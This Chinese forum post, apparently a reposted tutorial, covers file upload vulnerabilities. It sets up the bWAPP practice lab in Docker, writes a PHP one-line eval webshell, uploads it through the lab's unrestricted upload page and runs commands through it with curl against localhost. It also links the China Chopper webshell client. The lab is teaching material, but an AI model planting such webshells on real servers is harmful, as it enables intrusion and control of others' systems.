安全矩阵

 找回密码
 立即注册
搜索
查看: 4748|回复: 0

Web安全(一)文件上传漏洞[一]

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-10-29 19:21:27 | 显示全部楼层 |阅读模式
原文链接:Web安全(一)文件上传漏洞[一]

文件上传漏洞概述

文件上传(File Upload)是大部分Web应用都具备的功能,例如用户上传附件、改头像、分享图片等。文件上传漏洞是在开发者没有做充足验证(包括前端,后端)情况下,允许用户上传恶意文件,这里上传的文件可以是木马、病毒、恶意脚本或者Webshell等。



实验环境搭建


下载并安装docker
进入www.docker.com根据系统下载对应docker。

选Decker Desktop



开启Hyper-V



下载完后正常安装即可,打开cmd输入docker -v检测安装是否成功


全面加速
对于使用Windows 10的系统,在系统右下角托盘Docker图标内快捷菜单选择设置,打开配置窗口后导航菜单选择Docker Engine。在Registrymirrors中添加一个加速器地址https://registry.docker-cn.com,之后点击Apply保存后Docker就会重启并应用配置的多个地址了。



启动Docker

在cmd输入并执行以下命令
  1. docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
复制代码



  1. docker run -d -p 0.0.0.0:8080:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
复制代码




注:若出现以下端口被占用的报错,可修改8080为其他可用端口。(下图为使用80:80的报错)


打开浏览器访问127.0.0.1:8080/install.php,点击hear生成数据库,再点击注册新用户(注意不需要勾选E-mail activation),注册完登录即可。



下次启动docker环境在下图点击启动即可

编辑木马文件并上传

eval函数
eval( string $code)
把字符串 code 作为PHP代码执行。函数eval()语言结构允许执行任意 PHP 代码。code为 需要被执行的字符串 。
代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留。   

PHP一句话木马

  1. <?php @eval($_POST['hacker']); ?>
复制代码

新建文本文件写入PHP一句话木马,并将txt后缀改为php.



上传PHP文件

登录后选择Unrestricted File Upload,文件上传漏洞上传文件,上传后可以看到路径为http://127.0.0.1:8080/images/shell.php




webshell执行命令

在cmd执行

  1. curl -d "hacker=echo get_current_user();" http://127.0.0.1:8080/images/shell.php
  2. curl -d "hacker=echo getcwd();" http://127.0.0.1:8080/images/shell.php
复制代码

get_current_user — 获取当前 PHP 脚本所有者名称

getcwd — 取得当前工作目录。



使用中国菜刀连接

下载链接:https://github.com/raddyfiy/caidao-official-version
打开软件后,右键添加SHELL连接即可。





不同语言一句话木马









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 11:55 , Processed in 0.012918 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表